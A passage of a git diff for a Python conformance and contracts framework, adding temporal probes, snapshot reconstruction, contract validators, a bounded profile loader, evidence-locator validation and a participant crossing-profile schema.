000000000..76c10ec88 --- /dev/null +++ b/implementations/python/packages/raes_conformance/conformance/participant_temporal_probes.py @@ -0,0 +1,152 @@ +"""Scenario-specific bounded temporal probes; no universal backend baseline.""" + +from collections.abc import Iterable + +from raes_contracts.contracts import ExperimentStochasticControlModel +from raes_contracts.contracts.participant_temporal import ParticipantTemporalAssessmentModel +from raes_contracts.participant_temporal import require_participant_temporal_history +from raes_runtime.registry import RuntimeTarget, participant_temporal_probe_manager + +from .diagnostics import _diagnostic, sanitized_failure_message +from .report import ConformanceCaseResult + + +def _stop_probe_clock_driver(manager: object | None) -> bool: + if manager is None: + return True + try: + return manager._stop_participant_clock_driver() # type: ignore[attr-defined] + except Exception: # NOSONAR - shutdown must report failure without leaking exception payloads + return False + + +def participant_temporal_scenario_case( + target: RuntimeTarget, + scenario: object, + *, + clock_advances: tuple[tuple[str, int], ...] = (), + stochastic_controls: Iterable[ExperimentStochasticControlModel] = (), +) -> ConformanceCaseResult: + """Execute a caller-selected finite fixture covering claimed guarantee digests. + + Only use an isolated, disposable target: apply and advances can cause native + effects. The caller owns native cleanup; the probe stops its local clock + driver. Generic registration probes cannot infer + a scenario from opaque digest claims and do not replace this probe. + """ + + diagnostics = [] + assessments = [] + manager = None + driver_stopped = True + try: + manager = participant_temporal_probe_manager(target, stochastic_controls=stochastic_controls) + diagnostics, assessments = _run_temporal_probe( + manager, + scenario, + clock_advances, + ) + except (TypeError, ValueError) as exc: + diagnostics.append( + _diagnostic( + "conformance.participant-temporal-guarantee-failed", + "participant.temporal", + sanitized_failure_message(exc), + ) + ) + finally: + driver_stopped = _stop_probe_clock_driver(manager) + if not driver_stopped: + diagnostics.append( + _diagnostic( + "conformance.participant-clock-driver-stop-failed", + "participant.temporal", + ( + "Probe clock driver shutdown was not confirmed; wait for in-flight work to quiesce before " + "native cleanup." + ), + ) + ) + passed = not any(item.is_error for item in diagnostics) + return ConformanceCaseResult( + name="participant-shared-time-scenario", + contract_name="runtime-snapshot-v1", + valid=True, + passed=passed, + diagnostics=tuple(diagnostics), + outcome="passed" if passed else "failed", + cleanup_verified=None if driver_stopped else False, + residual_state=() if driver_stopped else ("Probe-owned clock driver shutdown is unconfirmed.",), + finite_scope="Only the supplied scenario, manifest and finite clock advances.", + evidence_refs=tuple( + sorted({ref for item in assessments for proof in item.evidence for ref in proof.evidence_refs}) + ), + explicit_non_claims=( + "native application fidelity", + "continuous monitoring implementation", + "unclaimed backend features", + ), + limitations=( + ( + "Probe stops its local clock driver. Caller owns native target setup and cleanup; " + "execution basis defaults to fixture-only." + ), + ), + ) + + +def _run_temporal_probe( + manager: object, + scenario: object, + clock_advances: tuple[tuple[str, int], ...], +) -> tuple[list[object], list[ParticipantTemporalAssessmentModel]]: + plan = manager.plan(scenario) + required = _required_temporal_contract_digests(plan) + if not required: + raise ValueError("Temporal conformance requires a fixture with explicit shared-time bindings.") + result = _apply_temporal_probe_plan(manager, plan, clock_advances) + require_participant_temporal_history(result.snapshot) + assessments = _temporal_assessments(result.snapshot) + _require_admitted_guarantees(result.success, required, assessments) + return list(result.diagnostics), assessments + + +def _required_temporal_contract_digests(plan: object) -> set[str]: + return { + binding.contract_digest + for spec in plan.model.behavior_specifications.values() # type: ignore[attr-defined] + if spec.autonomous_execution is not None + for binding in spec.autonomous_execution.temporal_bindings + } + + +def _apply_temporal_probe_plan( + manager: object, + plan: object, + clock_advances: tuple[tuple[str, int], ...], +) -> object: + result = manager.apply(plan) # type: ignore[attr-defined] + for clock, ticks in clock_advances: + if not result.success: + break + result = manager.advance_time(clock, ticks=ticks) # type: ignore[attr-defined] + return result + + +def _temporal_assessments(snapshot: object) -> list[ParticipantTemporalAssessmentModel]: + return [ + ParticipantTemporalAssessmentModel.model_validate(item) + for history in snapshot.participant_behavior_history.values() # type: ignore[attr-defined] + for event in history + for item in event.get("temporal_assessments", ()) + ] + + +def _require_admitted_guarantees( + success: bool, + required: set[str], + assessments: list[ParticipantTemporalAssessmentModel], +) -> None: + observed = {item.context.binding.contract_digest for item in assessments} + if not success or observed != required or any(item.status != "met" for item in assessments): + raise ValueError("The fixture did not establish every admitted temporal guarantee.") diff --git a/implementations/python/packages/raes_conformance/conformance/snapshot_semantics.py b/implementations/python/packages/raes_conformance/conformance/snapshot_semantics.py index 55657afbe..f825ac445 100644 --- a/implementations/python/packages/raes_conformance/conformance/snapshot_semantics.py +++ b/implementations/python/packages/raes_conformance/conformance/snapshot_semantics.py @@ -87,81 +87,27 @@ def _realization_disclosures( def _snapshot_from_envelope(payload: dict[str, Any]) -> RuntimeSnapshot: + """Preserve every wire carrier, restoring only the native typed fields.""" + from dataclasses import fields + + from raes_contracts.runtime_state import RealizationProvenanceEntry + validated = RuntimeSnapshotEnvelopeModel.model_validate(payload) - return RuntimeSnapshot( + carriers = validated.model_dump(mode="json", exclude={"schema_version"}) + carriers.update( entries=_snapshot_entries(validated), - orchestration_results={ - address: result.model_dump(mode="json") for address, result in validated.orchestration_results.items() - }, - orchestration_history={ - address: [event.model_dump(mode="json") for event in history] - for address, history in validated.orchestration_history.items() - }, - evaluation_results={ - address: result.model_dump(mode="json") for address, result in validated.evaluation_results.items() - }, - evaluation_history={ - address: [event.model_dump(mode="json") for event in history] - for address, history in validated.evaluation_history.items() - }, - participant_episode_results={ - participant_address: result.model_dump(mode="json") - for participant_address, result in validated.participant_episode_results.items() - }, - participant_episode_history={ - participant_address: [event.model_dump(mode="json") for event in history] - for participant_address, history in validated.participant_episode_history.items() - }, - participant_episode_closure_records={ - participant_address: [dict(record) for record in records] - for participant_address, records in validated.participant_episode_closure_records.items() - }, - participant_behavior_history={ - participant_address: [event.model_dump(mode="json") for event in history] - for participant_address, history in validated.participant_behavior_history.items() - }, - information_state_history={ - participant_address: [record.model_dump(mode="json") for record in history] - for participant_address, history in validated.information_state_history.items() - }, - participant_autonomous_execution_states={ - state_address: state.model_dump(mode="json") - for state_address, state in validated.participant_autonomous_execution_states.items() - }, - participant_execution_services={ - scope: state.model_dump(mode="json") for scope, state in validated.participant_execution_services.items() - }, - participant_resource_budget_states={ - state_ref: state.model_dump(mode="json") - for state_ref, state in validated.participant_resource_budget_states.items() - }, - participant_resource_pool_states={ - pool_state_ref: state.model_dump(mode="json") - for pool_state_ref, state in validated.participant_resource_pool_states.items() - }, - participant_resource_budget_events={ - event_id: event.model_dump(mode="json") - for event_id, event in validated.participant_resource_budget_events.items() - }, - shared_state_records={ - state_address: record.model_dump(mode="json") - for state_address, record in validated.shared_state_records.items() - }, - shared_state_history={ - state_address: [record.model_dump(mode="json") for record in records] - for state_address, records in validated.shared_state_history.items() - }, - joint_action_records={ - record_id: record.model_dump(mode="json") for record_id, record in validated.joint_action_records.items() - }, - time_management_contexts={ - context_id: context.model_dump(mode="json") - for context_id, context in validated.time_management_contexts.items() - }, time_model_state=validated.time_model_state, + materialization_attestations=tuple(validated.materialization_attestations), + realization_envelope=validated.realization_envelope, realization_observations=_realization_disclosures(validated), - metadata=dict(validated.metadata), + realization_provenance=tuple( + RealizationProvenanceEntry( + **{field.name: getattr(entry, field.name) for field in fields(RealizationProvenanceEntry)} + ) + for entry in validated.realization_provenance + ), ) + return RuntimeSnapshot(**carriers) def _participant_episode_snapshot_diagnostics( diff --git a/implementations/python/packages/raes_conformance/conformance/target_planning.py b/implementations/python/packages/raes_conformance/conformance/target_planning.py index bc3b1d8fe..41de1a40d 100644 --- a/implementations/python/packages/raes_conformance/conformance/target_planning.py +++ b/implementations/python/packages/raes_conformance/conformance/target_planning.py @@ -42,7 +42,7 @@ role: postcondition objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: response: diff --git a/implementations/python/packages/raes_conformance/conformance/validators.py b/implementations/python/packages/raes_conformance/conformance/validators.py index 5a4298189..f905675bd 100644 --- a/implementations/python/packages/raes_conformance/conformance/validators.py +++ b/implementations/python/packages/raes_conformance/conformance/validators.py @@ -2,6 +2,13 @@ from __future__ import annotations +from raes.materialization import MaterializedScenario +from raes_contracts.augmentation_preparation import AugmentationPreparation +from raes_contracts.authoring_adapters import ( + AuthoringAdapterComparisonModel, + AuthoringAdapterProfileModel, + AuthoringAdapterVectorModel, +) from raes_contracts.behavioral_relation_profiles import BehavioralRelationProfileModel from raes_contracts.behavioral_relations import BehavioralRelationCatalogModel from raes_contracts.contracts import ( @@ -31,7 +38,14 @@ ParticipantBehaviorHistoryEventModel, ParticipantBoundaryFlowPolicyProfileModel, ParticipantConfigurationResultModel, + ParticipantControlContextResolver, + ParticipantControlContextResolverV2, + ParticipantControlEvaluationModel, + ParticipantControlEvaluationV2Model, ParticipantControlOccurrenceModel, + ParticipantControlSelectionModel, + ParticipantControlSelectionV2Model, + ParticipantControlTeachingProfileModel, ParticipantCrossingOccurrenceModel, ParticipantEpisodeHistoryEventModel, ParticipantEpisodeStateModel, @@ -44,6 +58,7 @@ ParticipantInformationStateRecordModel, ParticipantLifecycleEventModel, ParticipantObservationEnvelopeModel, + ParticipantOutcomeReportV2Model, ParticipantSharedStateRecordModel, ProvisioningPlanModel, RuntimeFactBindingPlaneModel, @@ -52,9 +67,19 @@ ValidationBasisDisclosureDocumentModel, WorkflowExecutionStateModel, WorkflowHistoryEventModel, + validate_participant_control_resolved_context, + validate_participant_control_resolved_context_v2, validate_participant_flow_control_resolved_context, validate_participant_information_state_resolved_context, ) +from raes_contracts.contracts.materialization_attestation import MaterializationArchiveRecord +from raes_contracts.contracts.mixed_composition import ( + MixedParticipantCompositionProfileModel, +) +from raes_contracts.contracts.mixed_composition_resolution import ( + MixedCompositionResolutionContext, + validate_mixed_composition_context, +) from raes_contracts.contracts.participant_execution import ( ParticipantExecutionBindingModel, ParticipantExecutionControlRequestModel, @@ -68,6 +93,7 @@ DomainProfileResolutionContextModel, DomainProfileSupportDeclarationModel, ) +from raes_contracts.materialization import MaterializationSubmission from raes_contracts.observation_demand import ObservationDemandDocument from raes_contracts.participant_opacity import ( ParticipantOpacityAnalysisEvidenceModel, @@ -85,7 +111,12 @@ from raes_conformance.conformance.diagnostics import _diagnostic, sanitized_failure_message _SCHEMA_INVALID_DIAGNOSTIC_CODE = "conformance.schema-invalid" +_SEMANTIC_CONTEXT_REQUIRED_DIAGNOSTIC_CODE = "conformance.semantic-context-required" +_SEMANTIC_INVALID_DIAGNOSTIC_CODE = "conformance.semantic-invalid" _MODEL_VALIDATORS = { + "authoring-adapter-profile-v1": AuthoringAdapterProfileModel.model_validate, + "authoring-adapter-vector-v1": AuthoringAdapterVectorModel.model_validate, + "authoring-adapter-comparison-v1": AuthoringAdapterComparisonModel.model_validate, "backend-manifest-v2": BackendManifestV2Model.model_validate, "participant-implementation-manifest-v1": ParticipantImplementationManifestModel.model_validate, "participant-implementation-provenance-v1": ParticipantImplementationProvenanceModel.model_validate, @@ -104,6 +135,7 @@ "participant-execution-service-state-v1": ParticipantExecutionServiceStateModel.model_validate, "participant-lifecycle-event-v1": ParticipantLifecycleEventModel.model_validate, "participant-observation-envelope-v1": ParticipantObservationEnvelopeModel.model_validate, + "participant-outcome-report-v2": ParticipantOutcomeReportV2Model.model_validate, "participant-information-state-record-v1": ParticipantInformationStateRecordModel.model_validate, "participant-information-reconstruction-profile-v1": ( ParticipantInformationReconstructionProfileModel.model_validate @@ -112,6 +144,7 @@ "participant-shared-state-record-v1": ParticipantSharedStateRecordModel.model_validate, "participant-control-occurrence-v1": ParticipantControlOccurrenceModel.model_validate, "participant-crossing-occurrence-v1": ParticipantCrossingOccurrenceModel.model_validate, + "mixed-participant-composition-profile-v1": MixedParticipantCompositionProfileModel.model_validate, "participant-flow-control-relation-v1": ParticipantFlowControlRelationModel.model_validate, "experiment-capture-spec-v1": ExperimentCaptureSpecModel.model_validate, "experiment-evidence-record-v1": ExperimentEvidenceRecordModel.model_validate, @@ -123,6 +156,15 @@ _STRUCTURAL_ONLY_VALIDATORS = { + "participant-control-teaching-profile-v1": ParticipantControlTeachingProfileModel.model_validate, + "participant-control-selection-v1": ParticipantControlSelectionModel.model_validate, + "participant-control-evaluation-v1": ParticipantControlEvaluationModel.model_validate, + "participant-control-selection-v2": ParticipantControlSelectionV2Model.model_validate, + "participant-control-evaluation-v2": ParticipantControlEvaluationV2Model.model_validate, + "backend-augmentation-scope-v1": AugmentationPreparation.model_validate, + "materialized-scenario-v1": MaterializedScenario.model_validate, + "backend-materialization-attestation-v1": MaterializationSubmission.model_validate, + "materialization-archive-record-v1": MaterializationArchiveRecord.model_validate, "associated-artifact-manifest-v1": AssociatedArtifactManifestModel.model_validate, "artifact-transformation-report-v1": ArtifactTransformationReportModel.model_validate, "sdl-candidate-synthesis-input-v1": CandidateSynthesisInputModel.model_validate, @@ -157,11 +199,15 @@ _SEMANTIC_CONTEXT_REQUIRED_CONTRACTS = frozenset( { + "participant-outcome-report-v2", + "participant-control-evaluation-v1", + "participant-control-evaluation-v2", "associated-artifact-manifest-v1", "external-concept-bindings-v1", "semantic-projection-report-v1", "participant-information-state-record-v1", "participant-flow-control-relation-v1", + "mixed-participant-composition-profile-v1", } ) @@ -261,7 +307,7 @@ def _information_state_context_diagnostics( if information_state_context_resolver is None: diagnostics.append( _diagnostic( - "conformance.semantic-context-required", + _SEMANTIC_CONTEXT_REQUIRED_DIAGNOSTIC_CODE, contract_name, "participant information-state context resolver is required", ) @@ -277,7 +323,7 @@ def _information_state_context_diagnostics( except (TypeError, ValueError) as exc: diagnostics.append( _diagnostic( - "conformance.semantic-invalid", + _SEMANTIC_INVALID_DIAGNOSTIC_CODE, contract_name, "participant information-state context is invalid: " + sanitized_failure_message(exc), ) @@ -293,7 +339,7 @@ def _flow_control_context_diagnostics( if flow_control_context_resolver is None: return [ _diagnostic( - "conformance.semantic-context-required", + _SEMANTIC_CONTEXT_REQUIRED_DIAGNOSTIC_CODE, contract_name, "participant flow-control context resolver is required", ) @@ -308,7 +354,7 @@ def _flow_control_context_diagnostics( except (TypeError, ValueError) as exc: return [ _diagnostic( - "conformance.semantic-invalid", + _SEMANTIC_INVALID_DIAGNOSTIC_CODE, contract_name, "participant flow-control context is invalid: " + sanitized_failure_message(exc), ) @@ -316,20 +362,82 @@ def _flow_control_context_diagnostics( return [] +def _mixed_composition_context_diagnostics( + payload: object, + context: MixedCompositionResolutionContext | None = None, +) -> list[Diagnostic]: + contract_name = "mixed-participant-composition-profile-v1" + if context is None: + return [ + _diagnostic( + _SEMANTIC_CONTEXT_REQUIRED_DIAGNOSTIC_CODE, + contract_name, + "mixed composition trusted resolution context is required", + ) + ] + try: + profile = MixedParticipantCompositionProfileModel.model_validate(payload) + validate_mixed_composition_context(profile, context) + except (TypeError, ValueError) as exc: + return [ + _diagnostic( + _SEMANTIC_INVALID_DIAGNOSTIC_CODE, + contract_name, + "mixed composition context is invalid: " + sanitized_failure_message(exc), + ) + ] + return [] + + +def _control_context_diagnostics( + contract_name: str, + payload: object, + resolver: ParticipantControlContextResolver | ParticipantControlContextResolverV2 | None, +) -> list[Diagnostic]: + if resolver is None: + return [ + _diagnostic( + _SEMANTIC_CONTEXT_REQUIRED_DIAGNOSTIC_CODE, + contract_name, + "participant control trusted context resolver is required", + ) + ] + try: + if contract_name == "participant-control-evaluation-v2": + record = ParticipantControlEvaluationV2Model.model_validate(payload) + validate_participant_control_resolved_context_v2(record, resolver) + else: + record = ParticipantControlEvaluationModel.model_validate(payload) + validate_participant_control_resolved_context(record, resolver) + except (TypeError, ValueError): + return [ + _diagnostic( + _SEMANTIC_INVALID_DIAGNOSTIC_CODE, contract_name, "participant control trusted context is invalid" + ) + ] + return [] + + def validate_contract_payload( contract_name: str, payload: object, *, information_state_context_resolver: ParticipantInformationStateContextResolver | None = None, flow_control_context_resolver: ParticipantFlowControlContextResolver | None = None, + mixed_composition_context: MixedCompositionResolutionContext | None = None, + control_context_resolver: ParticipantControlContextResolver | ParticipantControlContextResolverV2 | None = None, ) -> tuple[Diagnostic, ...]: """Validate one payload through its structural and available contextual boundary.""" diagnostics = _validate_payload(contract_name, payload) + if not diagnostics and contract_name in {"participant-control-evaluation-v1", "participant-control-evaluation-v2"}: + diagnostics.extend(_control_context_diagnostics(contract_name, payload, control_context_resolver)) if not diagnostics and contract_name == "participant-information-state-record-v1": diagnostics.extend(_information_state_context_diagnostics(payload, information_state_context_resolver)) if not diagnostics and contract_name == "participant-flow-control-relation-v1": diagnostics.extend(_flow_control_context_diagnostics(payload, flow_control_context_resolver)) + if not diagnostics and contract_name == "mixed-participant-composition-profile-v1": + diagnostics.extend(_mixed_composition_context_diagnostics(payload, mixed_composition_context)) return tuple(diagnostics) diff --git a/implementations/python/packages/raes_contracts/_behavioral_profile_loader.py b/implementations/python/packages/raes_contracts/_behavioral_profile_loader.py new file mode 100644 index 000000000..953653db7 --- /dev/null +++ b/implementations/python/packages/raes_contracts/_behavioral_profile_loader.py @@ -0,0 +1,113 @@ +"""Exact corpus-backed profile loading with bounded regular-file ingress.""" + +from __future__ import annotations + +import os +import stat +from functools import cache +from pathlib import Path +from typing import TYPE_CHECKING + +from raes.identifiers import is_portable_identifier + +if TYPE_CHECKING: + from .behavioral_relation_profiles import BehavioralRelationProfileModel +from .corpus import PROFILES, corpus_family_root +from .json_ingress import parse_bounded_json_object + +_MAX_PROFILE_BYTES = 256 * 1024 +SUPPORTED_BEHAVIORAL_RELATION_PROFILE_IDS = frozenset( + { + "participant-opacity-baseline-v1", + "participant-opacity-runtime-reference-v1", + "participant-opacity-theorem-v1", + "participant-crossing-dpbb-finite-v1", + } +) + + +def behavioral_relation_profiles_root() -> Path: + return corpus_family_root(PROFILES) / "behavioral-relation" + + +def _validate_profile_id(profile_id: str) -> None: + if not is_portable_identifier(profile_id): + raise ValueError("requested behavioral relation profile id must be a portable identifier") + if profile_id not in SUPPORTED_BEHAVIORAL_RELATION_PROFILE_IDS: + raise ValueError("requested behavioral relation profile is unsupported") + + +def behavioral_relation_profile_path(profile_id: str) -> Path: + _validate_profile_id(profile_id) + return behavioral_relation_profiles_root() / f"{profile_id}.json" + + +def load_behavioral_relation_profile_from_path( + profile_id: str, + path: Path, +) -> BehavioralRelationProfileModel: + """Load one trusted profile path after strict bounded JSON ingress.""" + + from .behavioral_relation_profiles import BehavioralRelationProfileModel + + _validate_profile_id(profile_id) + try: + descriptor = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK) + with os.fdopen(descriptor, "rb") as stream: + if not stat.S_ISREG(os.fstat(stream.fileno()).st_mode): + raise ValueError("profile must be a regular file") + content = stream.read(_MAX_PROFILE_BYTES + 1) + payload = parse_bounded_json_object( + content, + max_bytes=_MAX_PROFILE_BYTES, + ) + profile = BehavioralRelationProfileModel.model_validate(payload) + except (OSError, ValueError): + raise ValueError("behavioral relation profile JSON or contract is invalid") from None + if profile.profile_id != profile_id: + raise ValueError("behavioral relation profile artifact identity does not match the requested profile") + return profile + + +@cache +def load_behavioral_relation_profile( + profile_id: str, +) -> BehavioralRelationProfileModel: + return load_behavioral_relation_profile_from_path( + profile_id, + behavioral_relation_profile_path(profile_id), + ) + + +_HISTORICAL_PROFILE_PATHS = { + ( + "participant-opacity-baseline-v1", + "sem-231/rev2", + ): behavioral_relation_profiles_root() / "history" / "participant-opacity-baseline-v1-sem-231-rev2.json", + ( + "participant-opacity-runtime-reference-v1", + "sem-231/runtime-rev1", + ): behavioral_relation_profiles_root() + / "history" + / "participant-opacity-runtime-reference-v1-sem-231-runtime-rev1.json", +} + + +@cache +def load_behavioral_relation_profile_revision( + profile_id: str, + profile_revision: str, +) -> BehavioralRelationProfileModel: + """Resolve an exact immutable profile revision for evidence replay.""" + + _validate_profile_id(profile_id) + historical_path = _HISTORICAL_PROFILE_PATHS.get((profile_id, profile_revision)) + if historical_path is not None: + profile = load_behavioral_relation_profile_from_path(profile_id, historical_path) + if profile.profile_revision != profile_revision: + raise ValueError("historical behavioral relation profile revision does not match its registry entry") + return profile + current = load_behavioral_relation_profile(profile_id) + if current.profile_revision == profile_revision: + return current + raise ValueError("requested behavioral relation profile revision is unsupported") diff --git a/implementations/python/packages/raes_contracts/_evidence_content_validation.py b/implementations/python/packages/raes_contracts/_evidence_content_validation.py index 6fa5d977f..4c01a6dad 100644 --- a/implementations/python/packages/raes_contracts/_evidence_content_validation.py +++ b/implementations/python/packages/raes_contracts/_evidence_content_validation.py @@ -3,23 +3,50 @@ from __future__ import annotations import hashlib +from dataclasses import dataclass, field from typing import BinaryIO +from urllib.parse import urlsplit -from jsonschema import Draft202012Validator - +from .canonical import canonical_json_digest from .contracts import ( ExperimentArtifactRefModel, ExperimentCaptureRequirementModel, ExperimentEvidenceRecordModel, - schema_bundle, ) -from .evidence_output_validation import validate_evidence_output_contract +from .evidence_output_validation import resolve_evidence_output_contract from .json_ingress import JSONValue, parse_bounded_json, parse_bounded_json_object +from .uri_safety import validate_safe_absolute_uri _CHUNK_SIZE = 64 * 1024 _MAX_ARTIFACT_BYTES = 64 * 1024 * 1024 +@dataclass +class _EvidenceContentCache: + """One bounded validation invocation; never shared or restored as proof.""" + + payloads: dict[str, tuple[bytes, str]] = field(default_factory=dict) + documents: dict[tuple[str, str], JSONValue] = field(default_factory=dict) + + +def _validate_evidence_locator(uri: str) -> None: + # Published evidence contracts also permit relative artifact paths. Admit + # those as inert URI paths, not host paths; reuse the canonical secret test. + parsed = urlsplit(uri) + if any(ord(char) < 32 or ord(char) == 127 for char in uri): + raise ValueError("evidence artifact locator contains control characters") + if not parsed.scheme: + if parsed.netloc or uri.startswith(("/", "\\")) or "\\" in uri or ".." in parsed.path.split("/"): + raise ValueError("evidence artifact locator is not an inert relative path") + uri = "urn:raes-artifact:" + uri + validate_safe_absolute_uri( + uri, + field_name="evidence artifact locator", + forbidden_schemes=("file",), + forbid_fragment=True, + ) + + def _read_payload(reader: BinaryIO, *, size: int, algorithm: str) -> tuple[bytes, str]: if size > _MAX_ARTIFACT_BYTES: raise ValueError("evidence artifact exceeds the bounded validation limit") @@ -59,29 +86,21 @@ def _json_pointer_resolves(document: object, pointer: str) -> bool: def _parse_contract_document(payload: bytes, *, media_type: str, output_contract: str) -> JSONValue: - schema = schema_bundle().get(output_contract) - if schema is None: - raise ValueError("evidence output_contract is not present in the authoritative contract registry") - root = schema.get("type") - if root not in {"object", "array"}: - raise ValueError("evidence output_contract does not declare a supported JSON root") + contract = resolve_evidence_output_contract(output_contract) + root = contract.root try: + if media_type not in contract.media_types: + raise ValueError("evidence media type is not supported by the declared output_contract") if media_type == "application/json": document = parse_bounded_json(payload, max_bytes=_MAX_ARTIFACT_BYTES, root=root) - elif media_type == "application/jsonl": - if root != "array": - raise ValueError("JSON Lines evidence requires an array-root output_contract") + else: lines = payload.splitlines() if not lines or any(not line.strip() for line in lines): raise ValueError("JSON Lines evidence must contain non-empty object records") document = [parse_bounded_json_object(line, max_bytes=_MAX_ARTIFACT_BYTES) for line in lines] - else: - raise ValueError("evidence media type cannot be validated against the declared JSON output_contract") except ValueError as exc: raise ValueError("emitted evidence does not satisfy the declared output_contract") from exc - if next(Draft202012Validator(schema).iter_errors(document), None) is not None: - raise ValueError("emitted evidence does not satisfy the declared output_contract") - validate_evidence_output_contract(output_contract, document) + contract.validate(document) return document @@ -90,24 +109,31 @@ def _validate_artifact_content( record: ExperimentEvidenceRecordModel, artifact: ExperimentArtifactRefModel, reader: BinaryIO | None, + cache: _EvidenceContentCache, ) -> None: if reader is None: raise ValueError("required emitted evidence has no concrete byte reader") _validate_artifact_metadata(requirement, record, artifact) - payload, checksum = _read_payload( - reader, - size=artifact.size_bytes, - algorithm=artifact.checksum.algorithm, - ) + _validate_evidence_locator(artifact.uri) + identity = canonical_json_digest(artifact.model_dump(mode="json")) + if identity not in cache.payloads: + cache.payloads[identity] = _read_payload( + reader, + size=artifact.size_bytes, + algorithm=artifact.checksum.algorithm, + ) + payload, checksum = cache.payloads[identity] if checksum.casefold() != artifact.checksum.value.casefold(): raise ValueError("emitted evidence checksum does not match the captured bytes") _validate_artifact_integrity(requirement, artifact) - document = _parse_contract_document( - payload, - media_type=artifact.media_type, - output_contract=requirement.output_contract, - ) - _validate_field_selectors(requirement, document) + document_key = (identity, requirement.output_contract) + if document_key not in cache.documents: + cache.documents[document_key] = _parse_contract_document( + payload, + media_type=artifact.media_type, + output_contract=requirement.output_contract, + ) + _validate_field_selectors(requirement, cache.documents[document_key]) def _validate_artifact_metadata( diff --git a/implementations/python/packages/raes_contracts/_participant_behavior_types.py b/implementations/python/packages/raes_contracts/_participant_behavior_types.py index 494d3bd90..4479d2bb0 100644 --- a/implementations/python/packages/raes_contracts/_participant_behavior_types.py +++ b/implementations/python/packages/raes_contracts/_participant_behavior_types.py @@ -101,6 +101,7 @@ class ParticipantLifecycleOperationState(str, Enum): "participant_episode_history", "participant_behavior_history", "information_state_history", + "participant_outcome_history", "shared_state_records", "shared_state_history", } diff --git a/implementations/python/packages/raes_contracts/_participant_crossing_profile.py b/implementations/python/packages/raes_contracts/_participant_crossing_profile.py new file mode 100644 index 000000000..221baeef9 --- /dev/null +++ b/implementations/python/packages/raes_contracts/_participant_crossing_profile.py @@ -0,0 +1,156 @@ +"""Closed single-operation SEM-232 profile vocabulary and parameters.""" + +from typing import TYPE_CHECKING, Any, Literal, Self + +from pydantic import Field, StrictInt, model_validator + +from .contracts.base import ContractModel, PrefixedDigestString + +if TYPE_CHECKING: + from .behavioral_relation_profiles import BehavioralRelationProfileModel + +INPUT_CLASSES = ("plain", "transform", "declassify", "unsupported", "forbidden") +VISIBLE = ( + "crossing.request", + "crossing.decision.permit", + "crossing.decision.deny", + "crossing.decision.unsupported", + "crossing.transform", + "crossing.declassify", + "crossing.delivery", + "crossing.observation", + "crossing.replay.reject", + "policy.cut.advance", +) +HIDDEN = ( + "internal.validate", + "internal.resolve-policy-cut", + "internal.resolve-capability", + "internal.prepare-record", + "internal.atomic-commit", +) + + +class CrossingDomainsModel(ContractModel): + participant: tuple[Literal["participant-0"]] + audience: tuple[Literal["audience-0"]] + controller: tuple[Literal["controller-0"]] + episode: tuple[Literal["episode-0"]] + request_id: tuple[Literal["request-0"]] + policy_cut: tuple[Literal["p0"], Literal["p1"]] + input_class: tuple[ + Literal["plain"], Literal["transform"], Literal["declassify"], Literal["unsupported"], Literal["forbidden"] + ] + decision: tuple[ + Literal["none"], + Literal["permit"], + Literal["deny"], + Literal["unsupported"], + Literal["transform"], + Literal["declassify"], + ] + replay: tuple[Literal["fresh"], Literal["same-cut"], Literal["later-cut"]] + delivery: tuple[Literal["none"], Literal["pending"], Literal["delivered"], Literal["withheld"]] + history_head: tuple[Literal["h0"], Literal["h1"], Literal["h2"], Literal["h3"]] + + +class AbstractCrossingCarrierModel(ContractModel): + model_id: Literal["sem-230-participant-crossing-abstract"] + revision: Literal["rev2"] + source_path: Literal["implementations/formal/participant_crossing/abstract.py"] + source_digest: PrefixedDigestString + initial_state_ordinal: StrictInt = Field(ge=0, le=0) + + +class ConcreteCrossingCarrierModel(ContractModel): + model_id: Literal["api-423-run-319-crossing-kernel"] + revision: Literal["rev2"] + source_path: Literal["implementations/formal/participant_crossing/concrete.py"] + source_digest: PrefixedDigestString + initial_state_ordinal: StrictInt = Field(ge=0, le=0) + + +class ParticipantCrossingParametersModel(ContractModel): + kind: Literal["participant-crossing-dpbb/v1"] + domains: CrossingDomainsModel + left: AbstractCrossingCarrierModel + right: ConcreteCrossingCarrierModel + visible_labels: tuple[ + Literal["crossing.request"], + Literal["crossing.decision.permit"], + Literal["crossing.decision.deny"], + Literal["crossing.decision.unsupported"], + Literal["crossing.transform"], + Literal["crossing.declassify"], + Literal["crossing.delivery"], + Literal["crossing.observation"], + Literal["crossing.replay.reject"], + Literal["policy.cut.advance"], + ] + hidden_labels: tuple[ + Literal["internal.validate"], + Literal["internal.resolve-policy-cut"], + Literal["internal.resolve-capability"], + Literal["internal.prepare-record"], + Literal["internal.atomic-commit"], + ] + checker_tau: Literal["internal"] + complete_carrier: Literal[True] + depth_or_sample_bound: None + fresh_operations: StrictInt = Field(ge=1, le=1) + identity_reuse: Literal["excluded"] + order: Literal["sequential-total-order"] + time: Literal["untimed"] + probability: Literal["excluded"] + concurrency: Literal["excluded"] + controller_handoff: Literal["excluded"] + completion: Literal["per-crossing-visible-outcome"] + + @model_validator(mode="after") + def _independent_sources(self) -> Self: + if self.left.source_digest == self.right.source_digest: + raise ValueError("crossing transition authorities must have independent source identities") + return self + + +def validate_crossing_profile_join(profile: "BehavioralRelationProfileModel") -> None: + expected = { + "profile_id": "participant-crossing-dpbb-finite-v1", + "profile_revision": "rev2", + "taxonomy_revision": "rev8", + "relation_id": "divergence-preserving-branching-bisimulation", + "left_carrier_ref": profile.parameters.left.model_id, + "observation_projection_ref": "participant-crossing-projection", + "observation_projection_revision": "rev1", + "finite_analysis_scope": "declared-complete-finite-carrier", + } + if any(getattr(profile, key) != value for key, value in expected.items()): + raise ValueError("crossing profile identity, projection or carrier does not match its parameters") + + +def crossing_profile_schema_join() -> dict[str, Any]: + """Publish the relation/variant join in the existing profile schema.""" + return { + "if": { + "properties": { + "parameters": {"properties": {"kind": {"const": "participant-crossing-dpbb/v1"}}, "required": ["kind"]} + }, + "required": ["parameters"], + }, + "then": { + "properties": { + key: {"const": value} + for key, value in { + "profile_id": "participant-crossing-dpbb-finite-v1", + "profile_revision": "rev2", + "taxonomy_revision": "rev8", + "relation_id": "divergence-preserving-branching-bisimulation", + "left_carrier_ref": "sem-230-participant-crossing-abstract", + "observation_projection_ref": "participant-crossing-projection", + "observation_projection_revision": "rev1", + "finite_analysis_scope": "declared-complete-finite-carrier", + }.items() + } + }, + "else": {"properties": {"relation_id": {"const": "participant-predicate-opacity"}}}, + } diff --git a/implementations/python/packages/raes_contracts/_snapshot_updates.py 